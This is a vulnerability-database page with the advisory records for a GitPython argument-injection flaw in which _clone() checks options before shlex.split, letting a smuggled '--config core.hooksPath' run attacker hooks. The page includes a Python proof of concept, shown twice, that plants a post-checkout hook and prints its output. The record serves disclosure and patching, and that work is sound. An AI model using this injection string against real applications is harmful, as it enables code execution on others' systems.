Vulnerability-Lookup

PYSEC-2026-2161

Vulnerability from pysec - Published: 2026-05-07 19:16 - Updated: 2026-07-13 05:48

Details

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Impacted products

Name	purl
gitpython	pkg:pypi/gitpython

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "gitpython",
        "purl": "pkg:pypi/gitpython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.47"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.7",
        "0.2.0-beta1",
        "0.3.0-beta1",
        "0.3.0-beta2",
        "0.3.1-beta2",
        "0.3.2",
        "0.3.2.1",
        "0.3.2.RC1",
        "0.3.3",
        "0.3.4",
        "0.3.5",
        "0.3.6",
        "0.3.7",
        "1.0.0",
        "1.0.1",
        "1.0.2",
        "2.0.0",
        "2.0.1",
        "2.0.2",
        "2.0.3",
        "2.0.4",
        "2.0.5",
        "2.0.6",
        "2.0.7",
        "2.0.8",
        "2.0.9",
        "2.0.9.dev0",
        "2.0.9.dev1",
        "2.1.0",
        "2.1.1",
        "2.1.10",
        "2.1.11",
        "2.1.12",
        "2.1.13",
        "2.1.14",
        "2.1.15",
        "2.1.2",
        "2.1.3",
        "2.1.4",
        "2.1.5",
        "2.1.6",
        "2.1.7",
        "2.1.8",
        "2.1.9",
        "3.0.0",
        "3.0.1",
        "3.0.2",
        "3.0.3",
        "3.0.4",
        "3.0.5",
        "3.0.6",
        "3.0.7",
        "3.0.8",
        "3.0.9",
        "3.1.0",
        "3.1.1",
        "3.1.10",
        "3.1.11",
        "3.1.12",
        "3.1.13",
        "3.1.14",
        "3.1.15",
        "3.1.16",
        "3.1.17",
        "3.1.18",
        "3.1.19",
        "3.1.2",
        "3.1.20",
        "3.1.22",
        "3.1.23",
        "3.1.24",
        "3.1.25",
        "3.1.26",
        "3.1.27",
        "3.1.28",
        "3.1.29",
        "3.1.3",
        "3.1.30",
        "3.1.31",
        "3.1.32",
        "3.1.33",
        "3.1.34",
        "3.1.35",
        "3.1.36",
        "3.1.37",
        "3.1.38",
        "3.1.4",
        "3.1.40",
        "3.1.41",
        "3.1.42",
        "3.1.43",
        "3.1.44",
        "3.1.45",
        "3.1.46",
        "3.1.5",
        "3.1.6",
        "3.1.7",
        "3.1.8",
        "3.1.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42284",
    "GHSA-x2qx-6953-8485"
  ],
  "details": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(\" \".join(multi_options)). A string like \"--branch main --config core.hooksPath=/x\" passes validation (starts with --branch), but after split becomes [\"--branch\", \"main\", \"--config\", \"core.hooksPath=/x\"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.",
  "id": "PYSEC-2026-2161",
  "modified": "2026-07-13T05:48:53.463644Z",
  "published": "2026-05-07T19:16:01.783Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://www.tenable.com/cve/CVE-2026-32686"
    },
    {
      "type": "FIX",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

CVE-2026-42284 (GCVE-0-2026-42284)

Vulnerability from cvelistv5 – Published: 2026-05-07 18:19 – Updated: 2026-05-09 03:56

Title

GitPython: Unsafe option check validates multi_options before shlex.split transforms it

Summary

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/gitpython-developers/GitPython…	x_refsource_CONFIRM
https://github.com/gitpython-developers/GitPython…	x_refsource_MISC
https://www.tenable.com/cve/CVE-2026-32686	exploit

Impacted products

1 product

Vendor	Product	Version
gitpython-developers	GitPython	Affected: < 3.1.47

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-42284",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-08T00:00:00+00:00",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-09T03:56:02.927Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://www.tenable.com/cve/CVE-2026-32686"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "GitPython",
          "vendor": "gitpython-developers",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.1.47"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(\" \".join(multi_options)). A string like \"--branch main --config core.hooksPath=/x\" passes validation (starts with --branch), but after split becomes [\"--branch\", \"main\", \"--config\", \"core.hooksPath=/x\"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-88",
              "description": "CWE-88: Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-07T18:19:20.129Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485"
        },
        {
          "name": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
        }
      ],
      "source": {
        "advisory": "GHSA-x2qx-6953-8485",
        "discovery": "UNKNOWN"
      },
      "title": "GitPython: Unsafe option check validates multi_options before shlex.split transforms it"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-42284",
    "datePublished": "2026-05-07T18:19:20.129Z",
    "dateReserved": "2026-04-26T12:13:55.551Z",
    "dateUpdated": "2026-05-09T03:56:02.927Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-X2QX-6953-8485

Vulnerability from github – Published: 2026-04-25 23:41 – Updated: 2026-05-13 13:37

Summary

GitPython: Unsafe option check validates multi_options before shlex.split transformation

Details

Summary

_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.

Details

The vulnerable code is in git/repo/base.py line 1383:

multi = shlex.split(" ".join(multi_options))

Then validation runs on the original list at line 1390:

Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)

Then execution uses the transformed result at line 1392:

proc = git.clone(multi, "--", url, path, ...)

The check at git/cmd.py line 959 uses startswith:

if option.startswith(unsafe_option) or option == bare_option:

"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.

Also affects Submodule.update() via clone_multi_options.

PoC

import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))

from git import Repo
from git.exc import UnsafeOptionError

try:
    Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
    print("multi_options=['--config', '...']: Block as expected")
except Exception:
    pass

DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"

if not SRC.exists():
    SRC.mkdir(parents=True)
    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
    r("git", "init", "-b", "main")
    (SRC / "f").write_text("x\n")
    r("git", "add", ".")
    r("git", "commit", "-m", "init")

HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)

LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()

try:
    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
    print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
    pass

if not LOG.exists() and DST.exists():
    subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)

print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
    print(LOG.read_text().strip())

Output:

multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked

Hook executed: True
texugo
DESKTOP-5w5HH79

Impact

Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.47"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42284"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-25T23:41:49Z",
    "nvd_published_at": "2026-05-07T19:16:01Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`_clone()` validates `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`. A string like `\"--branch main --config core.hooksPath=/x\"` passes validation (starts with `--branch`), but after split becomes `[\"--branch\", \"main\", \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes attacker hooks during clone.\n\n### Details\n\nThe vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start with `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes its own token and reaches git.\n\nAlso affects `Submodule.update()` via `clone_multi_options`.\n\n### PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\ntry:\n    Repo.clone_from(\"/nonexistent\", \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept UnsafeOptionError:\n    print(\"multi_options=[\u0027--config\u0027, \u0027...\u0027]: Block as expected\")\nexcept Exception:\n    pass\n\nDIR = pathlib.Path(__file__).resolve().parent / \"workdir_b\"\nSRC = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR / \"hooks\"\nLOG = DIR / \"output.log\"\n\nif not SRC.exists():\n    SRC.mkdir(parents=True)\n    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n    r(\"git\", \"init\", \"-b\", \"main\")\n    (SRC / \"f\").write_text(\"x\\n\")\n    r(\"git\", \"add\", \".\")\n    r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami \u003e {LOG.as_posix()}\\nhostname \u003e\u003e {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept UnsafeOptionError:\n    print(f\"multi_options=[\u0027{payload}\u0027]: BLOCKED\"); sys.exit(1)\nexcept Exception:\n    pass\n\nif not LOG.exists() and DST.exists():\n    subprocess.run([\"git\", \"checkout\", \"--force\", \"main\"], cwd=DST, capture_output=True)\n\nprint(f\"multi_options=[\u0027{payload}\u0027]: not blocked\")\nprint(f\"\\nHook executed: {LOG.exists()}\")\nif LOG.exists():\n    print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=[\u0027--config\u0027, \u0027...\u0027]: Block as expected\nmulti_options=[\u0027--branch main --config core.hooksPath=.../hooks\u0027]: not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n### Impact\n\nAny application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=\u003cdir\u003e` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.",
  "id": "GHSA-x2qx-6953-8485",
  "modified": "2026-05-13T13:37:24Z",
  "published": "2026-04-25T23:41:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42284"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/cve/CVE-2026-32686"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GitPython: Unsafe option check validates multi_options before shlex.split transformation"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

PYSEC-2026-2161

CVE-2026-42284 (GCVE-0-2026-42284)

GHSA-X2QX-6953-8485

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature